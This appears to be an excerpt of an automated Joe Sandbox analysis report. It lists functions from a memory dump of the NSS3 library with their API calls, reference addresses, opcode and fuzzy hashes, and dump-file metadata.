Instruction ID: be8e6629eefdc4df0bf8453939e37ca9195cc829a4e24ebdcd256292a9d1538e
Opcode Fuzzy Hash: b1ba24ec3c52a529c8609e7dfae554d6f9041e80b915ec02a6405da41b371a54
Instruction Fuzzy Hash: BC2128B5909300ABEB108F289C41B9A7FF4AF8972CF144715EC289B7D1E731D50887AB

Function 6C66EE50 Relevance: 9.1, APIs: 6, Instructions: 83memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE013,00000000), ref: 6C66EE85
realloc.MOZGLUE(1828B6B5,?), ref: 6C66EEAE
PORT_Alloc_Util.NSS3(?), ref: 6C66EEC5

Part of subcall function 6C640BE0: malloc.MOZGLUE(6C638D2D,?,00000000,?), ref: 6C640BF8
Part of subcall function 6C640BE0: TlsGetValue.KERNEL32(6C638D2D,?,00000000,?), ref: 6C640C15

htonl.WSOCK32(?), ref: 6C66EEE3
htonl.WSOCK32(00000000,?), ref: 6C66EEED
memcpy.VCRUNTIME140(?,?,?,00000000,?), ref: 6C66EF01

Memory Dump Source

Source File: 00000000.00000002.2607565675.000000006C561000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C560000, based on PE: true

Associated: 00000000.00000002.2607528428.000000006C560000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607865484.000000006C6FF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607954441.000000006C73E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607995696.000000006C73F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608034599.000000006C740000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608078961.000000006C745000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c560000_file.jbxd

Similarity

API ID: htonl$Alloc_ErrorUtilValuemallocmemcpyrealloc
String ID:
API String ID: 1351805024-0
Opcode ID: 0f868daea655b5dd97389a6274a90eecea60b3ffac3ea16c158801cda5bc43c1
Instruction ID: 8b841ad2dda2e9e11cbd19aa4b882c8e6da177aed7b17e577802041d7d29f4a9
Opcode Fuzzy Hash: 0f868daea655b5dd97389a6274a90eecea60b3ffac3ea16c158801cda5bc43c1
Instruction Fuzzy Hash: E721E571A00224AFCB109F29DC8079A7BA4EF45358F148169EC199FA41E330EC15CBEB

Function 6C5E7F50 Relevance: 9.1, APIs: 6, Instructions: 76memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6C5E7F68

Part of subcall function 6C640FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C5E87ED,00000800,6C5DEF74,00000000), ref: 6C641000
Part of subcall function 6C640FF0: PR_NewLock.NSS3(?,00000800,6C5DEF74,00000000), ref: 6C641016
Part of subcall function 6C640FF0: PL_InitArenaPool.NSS3(00000000,security,6C5E87ED,00000008,?,00000800,6C5DEF74,00000000), ref: 6C64102B

PORT_ArenaAlloc_Util.NSS3(00000000,0000002C), ref: 6C5E7F7B

Part of subcall function 6C6410C0: TlsGetValue.KERNEL32(?,6C5E8802,00000000,00000008,?,6C5DEF74,00000000), ref: 6C6410F3
Part of subcall function 6C6410C0: EnterCriticalSection.KERNEL32(?,?,6C5E8802,00000000,00000008,?,6C5DEF74,00000000), ref: 6C64110C
Part of subcall function 6C6410C0: PL_ArenaAllocate.NSS3(?,?,?,6C5E8802,00000000,00000008,?,6C5DEF74,00000000), ref: 6C641141
Part of subcall function 6C6410C0: PR_Unlock.NSS3(?,?,?,6C5E8802,00000000,00000008,?,6C5DEF74,00000000), ref: 6C641182
Part of subcall function 6C6410C0: TlsGetValue.KERNEL32(?,6C5E8802,00000000,00000008,?,6C5DEF74,00000000), ref: 6C64119C

SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6C5E7FA7

Part of subcall function 6C63FB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6C638D2D,?,00000000,?), ref: 6C63FB85
Part of subcall function 6C63FB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6C63FBB1

SEC_QuickDERDecodeItem_Util.NSS3(00000000,00000000,6C70919C,?), ref: 6C5E7FBB

Part of subcall function 6C63B030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6C7118D0,?), ref: 6C63B095

PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C5E7FCA
SEC_QuickDERDecodeItem_Util.NSS3(00000000,-00000004,6C70915C,00000014), ref: 6C5E7FFE

Memory Dump Source

Source File: 00000000.00000002.2607565675.000000006C561000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C560000, based on PE: true

Associated: 00000000.00000002.2607528428.000000006C560000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607865484.000000006C6FF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607954441.000000006C73E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607995696.000000006C73F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608034599.000000006C740000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608078961.000000006C745000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c560000_file.jbxd

Similarity

API ID: Util$Arena$Item_$Alloc_Arena_DecodeQuickValue$AllocateCopyCriticalEnterErrorFreeInitLockPoolSectionUnlockcallocmemcpy
String ID:
API String ID: 1489184013-0
Opcode ID: 7cdd49c6489e9924651003221b3f468be349917a9e1c8cbed24ca4b2f2f0b31a
Instruction ID: 51792d5103d7ca3017266eecd9a3b0f826e6b5e1d35d5e8b64cb586bdfc014eb
Opcode Fuzzy Hash: 7cdd49c6489e9924651003221b3f468be349917a9e1c8cbed24ca4b2f2f0b31a
Instruction Fuzzy Hash: B2110AB1E0021457F7109B259D40FBB76E8DF5A69CF10462DFD69D2B42F720A948C2BA

Function 6C5EBE50 Relevance: 9.1, APIs: 6, Instructions: 74memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800,6C66DC29,?), ref: 6C5EBE64

Part of subcall function 6C640FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C5E87ED,00000800,6C5DEF74,00000000), ref: 6C641000
Part of subcall function 6C640FF0: PR_NewLock.NSS3(?,00000800,6C5DEF74,00000000), ref: 6C641016
Part of subcall function 6C640FF0: PL_InitArenaPool.NSS3(00000000,security,6C5E87ED,00000008,?,00000800,6C5DEF74,00000000), ref: 6C64102B

PORT_ArenaAlloc_Util.NSS3(00000000,0000000C,?,6C66DC29,?), ref: 6C5EBE78

Part of subcall function 6C6410C0: TlsGetValue.KERNEL32(?,6C5E8802,00000000,00000008,?,6C5DEF74,00000000), ref: 6C6410F3
Part of subcall function 6C6410C0: EnterCriticalSection.KERNEL32(?,?,6C5E8802,00000000,00000008,?,6C5DEF74,00000000), ref: 6C64110C
Part of subcall function 6C6410C0: PL_ArenaAllocate.NSS3(?,?,?,6C5E8802,00000000,00000008,?,6C5DEF74,00000000), ref: 6C641141
Part of subcall function 6C6410C0: PR_Unlock.NSS3(?,?,?,6C5E8802,00000000,00000008,?,6C5DEF74,00000000), ref: 6C641182
Part of subcall function 6C6410C0: TlsGetValue.KERNEL32(?,6C5E8802,00000000,00000008,?,6C5DEF74,00000000), ref: 6C64119C

PORT_ArenaAlloc_Util.NSS3(00000000,?,?,?,?,6C66DC29,?), ref: 6C5EBE96

Part of subcall function 6C6410C0: PL_ArenaAllocate.NSS3(?,6C5E8802,00000000,00000008,?,6C5DEF74,00000000), ref: 6C64116E

SECITEM_CopyItem_Util.NSS3(?,00000000,00000000,?,?,?,?,?,6C66DC29,?), ref: 6C5EBEBB

Part of subcall function 6C63FB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6C638D2D,?,00000000,?), ref: 6C63FB85
Part of subcall function 6C63FB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6C63FBB1

PR_SetError.NSS3(FFFFE013,00000000,?,6C66DC29,?), ref: 6C5EBEDF
PORT_FreeArena_Util.NSS3(?,00000000,?,?,?,6C66DC29,?), ref: 6C5EBEF3

Memory Dump Source

Source File: 00000000.00000002.2607565675.000000006C561000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C560000, based on PE: true

Associated: 00000000.00000002.2607528428.000000006C560000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607865484.000000006C6FF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607954441.000000006C73E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607995696.000000006C73F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608034599.000000006C740000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608078961.000000006C745000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c560000_file.jbxd

Similarity

API ID: ArenaUtil$Alloc_$AllocateArena_Value$CopyCriticalEnterErrorFreeInitItem_LockPoolSectionUnlockcallocmemcpy
String ID:
API String ID: 3111646008-0
Opcode ID: 611ca16d4481621904a0b14d927bf13d40c7ced42e658f035fcec1cf4bf9e4c2
Instruction ID: de85ab2a010d4013850ff34b22e83f192afb20b08d3d42605ce14becbc701ea2
Opcode Fuzzy Hash: 611ca16d4481621904a0b14d927bf13d40c7ced42e658f035fcec1cf4bf9e4c2
Instruction Fuzzy Hash: 7A11BBB1E002155BEB009B659D51F6B3768DF45259F144024ED09E7780FB31D919C7A9

Function 6C629850 Relevance: 9.1, APIs: 6, Instructions: 74memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6C62985B

Part of subcall function 6C640FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C5E87ED,00000800,6C5DEF74,00000000), ref: 6C641000
Part of subcall function 6C640FF0: PR_NewLock.NSS3(?,00000800,6C5DEF74,00000000), ref: 6C641016
Part of subcall function 6C640FF0: PL_InitArenaPool.NSS3(00000000,security,6C5E87ED,00000008,?,00000800,6C5DEF74,00000000), ref: 6C64102B

PORT_ArenaAlloc_Util.NSS3(00000000,00000038), ref: 6C629871

Part of subcall function 6C6410C0: TlsGetValue.KERNEL32(?,6C5E8802,00000000,00000008,?,6C5DEF74,00000000), ref: 6C6410F3
Part of subcall function 6C6410C0: EnterCriticalSection.KERNEL32(?,?,6C5E8802,00000000,00000008,?,6C5DEF74,00000000), ref: 6C64110C
Part of subcall function 6C6410C0: PL_ArenaAllocate.NSS3(?,?,?,6C5E8802,00000000,00000008,?,6C5DEF74,00000000), ref: 6C641141
Part of subcall function 6C6410C0: PR_Unlock.NSS3(?,?,?,6C5E8802,00000000,00000008,?,6C5DEF74,00000000), ref: 6C641182
Part of subcall function 6C6410C0: TlsGetValue.KERNEL32(?,6C5E8802,00000000,00000008,?,6C5DEF74,00000000), ref: 6C64119C

SEC_ASN1DecodeItem_Util.NSS3(00000000,00000000,6C70D9B0,?), ref: 6C6298A2

Part of subcall function 6C63E200: PR_SetError.NSS3(FFFFE009,00000000), ref: 6C63E245
Part of subcall function 6C63E200: PORT_FreeArena_Util.NSS3(00000000,00000001), ref: 6C63E254

PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C6298B7
PORT_FreeArena_Util.NSS3(00000000,00000001), ref: 6C629901
PR_SetError.NSS3(FFFFE00E,00000000), ref: 6C629910

Memory Dump Source

Source File: 00000000.00000002.2607565675.000000006C561000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C560000, based on PE: true

Associated: 00000000.00000002.2607528428.000000006C560000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607865484.000000006C6FF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607954441.000000006C73E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607995696.000000006C73F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608034599.000000006C740000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608078961.000000006C745000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c560000_file.jbxd

Similarity

API ID: Util$Arena_$ArenaFree$ErrorValue$Alloc_AllocateCriticalDecodeEnterInitItem_LockPoolSectionUnlockcalloc
String ID:
API String ID: 2561846027-0
Opcode ID: 3f7b0a41b91485b8d81cdd570a703312577db7819a2b02bfddb844a17c89e1d7
Instruction ID: 8b690a3ca8ef0fc5ca9d2443a0b10317f6185eb36267c71990b9b0147882d46b
Opcode Fuzzy Hash: 3f7b0a41b91485b8d81cdd570a703312577db7819a2b02bfddb844a17c89e1d7
Instruction Fuzzy Hash: B5112772D0420477FF004E205D81FE73A68DB963ACF094620FE18996C1E779CCA48BA9

Function 6C634820 Relevance: 9.1, APIs: 6, Instructions: 74stringCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE09A,00000000,00000000,-00000001,00000000,?,6C634EB8,?), ref: 6C634884

Part of subcall function 6C638800: TlsGetValue.KERNEL32(?,6C64085A,00000000,?,6C5E8369,?), ref: 6C638821
Part of subcall function 6C638800: TlsGetValue.KERNEL32(?,?,6C64085A,00000000,?,6C5E8369,?), ref: 6C63883D
Part of subcall function 6C638800: EnterCriticalSection.KERNEL32(?,?,?,6C64085A,00000000,?,6C5E8369,?), ref: 6C638856
Part of subcall function 6C638800: PR_WaitCondVar.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,00000013,?), ref: 6C638887
Part of subcall function 6C638800: PR_Unlock.NSS3(?,?,?,?,6C64085A,00000000,?,6C5E8369,?), ref: 6C638899

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(6C634EB8,?,?,?,?,?,?,?,?,?,?,6C5F78F8), ref: 6C63484C
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(6C634EB8,?,?,?,?,?,?,?,?,?,?,6C5F78F8), ref: 6C63486D
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,6C5F78F8), ref: 6C634899
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C6348A9
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C6348B8

Memory Dump Source

Source File: 00000000.00000002.2607565675.000000006C561000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C560000, based on PE: true

Associated: 00000000.00000002.2607528428.000000006C560000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607865484.000000006C6FF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607954441.000000006C73E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607995696.000000006C73F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608034599.000000006C740000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608078961.000000006C745000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c560000_file.jbxd

Similarity

API ID: Value$CriticalEnterSectionUnlockstrcmp$CondErrorWait
String ID:
API String ID: 2226052791-0
Opcode ID: af03ae566325b212542b4edac616cbf8e0e617a2b937733d6b9ba0cdb42b1950
Instruction ID: 44c413ed81052675e9df9890d100775457c9c9971c3887f62e1a69e30c98e2f7
Opcode Fuzzy Hash: af03ae566325b212542b4edac616cbf8e0e617a2b937733d6b9ba0cdb42b1950
Instruction Fuzzy Hash: 86210772F0026097EF10AEA5DC80966BFB8EF073597046535DE1D87A01E772E824C7A9

Function 6C673C80 Relevance: 9.1, APIs: 6, Instructions: 68COMMON

Download Yara Rule

APIs

Part of subcall function 6C675B40: PR_GetIdentitiesLayer.NSS3 ref: 6C675B56

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C673D3F

Part of subcall function 6C5EBA90: PORT_NewArena_Util.NSS3(00000800,6C673CAF,?), ref: 6C5EBABF
Part of subcall function 6C5EBA90: PORT_ArenaAlloc_Util.NSS3(00000000,00000010,?,6C673CAF,?), ref: 6C5EBAD5
Part of subcall function 6C5EBA90: PORT_ArenaAlloc_Util.NSS3(?,00000001,?,?,?,6C673CAF,?), ref: 6C5EBB08
Part of subcall function 6C5EBA90: memset.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,?,6C673CAF,?), ref: 6C5EBB1A
Part of subcall function 6C5EBA90: SECITEM_CopyItem_Util.NSS3(?,00000000,?,?,?,?,?,?,?,?,?,6C673CAF,?), ref: 6C5EBB3B

PR_EnterMonitor.NSS3(?), ref: 6C673CCB

Part of subcall function 6C6A9090: TlsGetValue.KERNEL32 ref: 6C6A90AB
Part of subcall function 6C6A9090: TlsGetValue.KERNEL32 ref: 6C6A90C9
Part of subcall function 6C6A9090: EnterCriticalSection.KERNEL32 ref: 6C6A90E5
Part of subcall function 6C6A9090: TlsGetValue.KERNEL32 ref: 6C6A9116
Part of subcall function 6C6A9090: LeaveCriticalSection.KERNEL32 ref: 6C6A913F

PR_EnterMonitor.NSS3(?), ref: 6C673CE2
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6C673CF8
PR_ExitMonitor.NSS3(?), ref: 6C673D15
PR_ExitMonitor.NSS3(?), ref: 6C673D2E

Memory Dump Source

Source File: 00000000.00000002.2607565675.000000006C561000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C560000, based on PE: true

Associated: 00000000.00000002.2607528428.000000006C560000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607865484.000000006C6FF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607954441.000000006C73E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607995696.000000006C73F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608034599.000000006C740000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608078961.000000006C745000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c560000_file.jbxd

Similarity

API ID: Util$Monitor$EnterValue$Alloc_ArenaArena_CriticalExitSection$CopyErrorFreeIdentitiesItem_LayerLeavememset
String ID:
API String ID: 4030862364-0
Opcode ID: e7ad2b172ce1ebdb6267d86afec6fc76fe1798d5b7f323bf4e9ea9a967b6582e
Instruction ID: 45966f1d11b667b869ed62df69e2dbd3d2c5bf5af7abf9e9a1875dd2e5e09c2b
Opcode Fuzzy Hash: e7ad2b172ce1ebdb6267d86afec6fc76fe1798d5b7f323bf4e9ea9a967b6582e
Instruction Fuzzy Hash: 821108756106006FE7305E65FC4179BB7E4EF5234CF504938E80A87B20E732E819C66E

Function 6C63FDF0 Relevance: 9.1, APIs: 6, Instructions: 60memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaAlloc_Util.NSS3(?,0000000C,00000000,?,?), ref: 6C63FE08

Part of subcall function 6C6410C0: TlsGetValue.KERNEL32(?,6C5E8802,00000000,00000008,?,6C5DEF74,00000000), ref: 6C6410F3
Part of subcall function 6C6410C0: EnterCriticalSection.KERNEL32(?,?,6C5E8802,00000000,00000008,?,6C5DEF74,00000000), ref: 6C64110C
Part of subcall function 6C6410C0: PL_ArenaAllocate.NSS3(?,?,?,6C5E8802,00000000,00000008,?,6C5DEF74,00000000), ref: 6C641141
Part of subcall function 6C6410C0: PR_Unlock.NSS3(?,?,?,6C5E8802,00000000,00000008,?,6C5DEF74,00000000), ref: 6C641182
Part of subcall function 6C6410C0: TlsGetValue.KERNEL32(?,6C5E8802,00000000,00000008,?,6C5DEF74,00000000), ref: 6C64119C

PORT_ArenaAlloc_Util.NSS3(?,?,?,?,?,?), ref: 6C63FE1D

Part of subcall function 6C6410C0: PL_ArenaAllocate.NSS3(?,6C5E8802,00000000,00000008,?,6C5DEF74,00000000), ref: 6C64116E

PORT_Alloc_Util.NSS3(0000000C,00000000,?,?), ref: 6C63FE29
PORT_Alloc_Util.NSS3(?,?,?,?), ref: 6C63FE3D
memcpy.VCRUNTIME140(00000000,?,?,?,?,?,?), ref: 6C63FE62
free.MOZGLUE(00000000,?,?,?,?), ref: 6C63FE6F

Memory Dump Source

Source File: 00000000.00000002.2607565675.000000006C561000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C560000, based on PE: true

Associated: 00000000.00000002.2607528428.000000006C560000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607865484.000000006C6FF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607954441.000000006C73E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607995696.000000006C73F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608034599.000000006C740000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608078961.000000006C745000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c560000_file.jbxd

Similarity

API ID: Alloc_ArenaUtil$AllocateValue$CriticalEnterSectionUnlockfreememcpy
String ID:
API String ID: 660648399-0
Opcode ID: 8f3986ee2ec60b207674bf88b2d866973743642166d4a03740b7f60820f007f9
Instruction ID: 67cbccceb7c9e80111757d37adf854a4ecc7d897657c705689378cbea66437b3
Opcode Fuzzy Hash: 8f3986ee2ec60b207674bf88b2d866973743642166d4a03740b7f60820f007f9
Instruction Fuzzy Hash: 5E1148B6600211BBEB008F54DC40A5B7398AF15399F10D074F91C87B92E731D915C7AE

Function 6C6EFD90 Relevance: 9.1, APIs: 6, Instructions: 51COMMON

Download Yara Rule

APIs

PR_Lock.NSS3 ref: 6C6EFD9E

Part of subcall function 6C6A9BA0: TlsGetValue.KERNEL32(00000000,00000000,?,6C5D1A48), ref: 6C6A9BB3
Part of subcall function 6C6A9BA0: EnterCriticalSection.KERNEL32(?,?,?,?,6C5D1A48), ref: 6C6A9BC8

PR_WaitCondVar.NSS3(000000FF), ref: 6C6EFDB9

Part of subcall function 6C5CA900: TlsGetValue.KERNEL32(00000000,?,6C7414E4,?,6C564DD9), ref: 6C5CA90F
Part of subcall function 6C5CA900: _PR_MD_WAIT_CV.NSS3(?,?,?), ref: 6C5CA94F

PR_Unlock.NSS3 ref: 6C6EFDD4
PR_Lock.NSS3 ref: 6C6EFDF2
PR_NotifyAllCondVar.NSS3 ref: 6C6EFE0D
PR_Unlock.NSS3 ref: 6C6EFE23

Memory Dump Source

Source File: 00000000.00000002.2607565675.000000006C561000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C560000, based on PE: true

Associated: 00000000.00000002.2607528428.000000006C560000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607865484.000000006C6FF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607954441.000000006C73E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607995696.000000006C73F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608034599.000000006C740000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608078961.000000006C745000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c560000_file.jbxd

Similarity

API ID: CondLockUnlockValue$CriticalEnterNotifySectionWait
String ID:
API String ID: 3365241057-0
Opcode ID: 9826f5c9769ce3e788ec85e0f6e4c2526a522f1c40a6ea4ee6fcd94b20a3443d
Instruction ID: e1967ce222e8ffdede6a0bdd0db44681bfa8985ee8d2758afd49b9f0e1023b35
Opcode Fuzzy Hash: 9826f5c9769ce3e788ec85e0f6e4c2526a522f1c40a6ea4ee6fcd94b20a3443d
Instruction Fuzzy Hash: 3F015EB6A04601AFDF04AF59FC008557A71AB0626C7158376E83647BA1E722ED39C78A

Function 6C676840 Relevance: 9.0, APIs: 6, Instructions: 45COMMON

Download Yara Rule

APIs

PR_NewMonitor.NSS3(00000000,?,6C67AA9B,?,?,?,?,?,?,?,00000000,?,6C6780C1), ref: 6C676846

Part of subcall function 6C5D1770: calloc.MOZGLUE(00000001,0000019C,?,6C5D15C2,?,?,?,?,?,00000001,00000040), ref: 6C5D178D

PR_NewMonitor.NSS3(00000000,?,6C67AA9B,?,?,?,?,?,?,?,00000000,?,6C6780C1), ref: 6C676855

Part of subcall function 6C638680: calloc.MOZGLUE(00000001,00000028,00000000,-00000001,?,00000000,?,6C5E55D0,00000000,00000000), ref: 6C63868B
Part of subcall function 6C638680: PR_NewLock.NSS3(00000000,00000000), ref: 6C6386A0
Part of subcall function 6C638680: PR_NewCondVar.NSS3(00000000,00000000,00000000), ref: 6C6386B2
Part of subcall function 6C638680: PR_NewCondVar.NSS3(00000000,?,00000000,00000000), ref: 6C6386C8
Part of subcall function 6C638680: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,00000000,00000000), ref: 6C6386E2
Part of subcall function 6C638680: malloc.MOZGLUE(00000001,?,?,?,00000000,00000000), ref: 6C6386EC
Part of subcall function 6C638680: strcpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,00000000,00000000), ref: 6C638700

PR_NewMonitor.NSS3(?,6C67AA9B,?,?,?,?,?,?,?,00000000,?,6C6780C1), ref: 6C67687D

Part of subcall function 6C5D1770: PR_SetError.NSS3(FFFFE890,00000000,?,?,?,?,?,?,?,?,?,00000001,00000040), ref: 6C5D18DE
Part of subcall function 6C5D1770: InitializeCriticalSectionAndSpinCount.KERNEL32(00000020,000005DC,?,?,?,?,?,?,?,?,?,00000001,00000040), ref: 6C5D18F1

PR_NewMonitor.NSS3(?,6C67AA9B,?,?,?,?,?,?,?,00000000,?,6C6780C1), ref: 6C67688C

Part of subcall function 6C5D1770: GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,00000001,00000040), ref: 6C5D18FC
Part of subcall function 6C5D1770: free.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,00000001,00000040), ref: 6C5D198A

PR_NewLock.NSS3 ref: 6C6768A5

Part of subcall function 6C6A98D0: calloc.MOZGLUE(00000001,00000084,6C5D0936,00000001,?,6C5D102C), ref: 6C6A98E5

PR_NewLock.NSS3 ref: 6C6768B4

Part of subcall function 6C6A98D0: InitializeCriticalSectionAndSpinCount.KERNEL32(0000001C,000005DC), ref: 6C6A9946
Part of subcall function 6C6A98D0: GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,6C5616B7,00000000), ref: 6C6A994E
Part of subcall function 6C6A98D0: free.MOZGLUE(00000000), ref: 6C6A995E

Memory Dump Source

Source File: 00000000.00000002.2607565675.000000006C561000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C560000, based on PE: true

Associated: 00000000.00000002.2607528428.000000006C560000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607865484.000000006C6FF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607954441.000000006C73E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607995696.000000006C73F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608034599.000000006C740000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608078961.000000006C745000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c560000_file.jbxd

Similarity

API ID: Monitor$ErrorLockcalloc$CondCountCriticalInitializeLastSectionSpinfree$mallocstrcpystrlen
String ID:
API String ID: 200661885-0
Opcode ID: 289164870b0241f1459d04b869d0ad02f02522978031b45694acd8a1dd060f96
Instruction ID: fb72c4b14085745d0177478fb93405a53f072c34e0ddf6728f8cee3243274eee
Opcode Fuzzy Hash: 289164870b0241f1459d04b869d0ad02f02522978031b45694acd8a1dd060f96
Instruction Fuzzy Hash: 3A01FBB0A01F0786E7616BB94C103E776E45F4239CF100E7A846AC6B50EF61E808CBB9

Function 6C5CAE30 Relevance: 9.0, APIs: 1, Strings: 4, Instructions: 231COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,00029CDD,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C5CAFDA

Strings

%s at line %d of [%.10s], xrefs: 6C5CAFD3
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C5CAFC4
unable to delete/modify collation sequence due to active statements, xrefs: 6C5CAF5C
misuse, xrefs: 6C5CAFCE

Memory Dump Source

Source File: 00000000.00000002.2607565675.000000006C561000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C560000, based on PE: true

Associated: 00000000.00000002.2607528428.000000006C560000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607865484.000000006C6FF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607954441.000000006C73E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607995696.000000006C73F000.00000008.00000001.01000000.00000009.sdmpDownload File
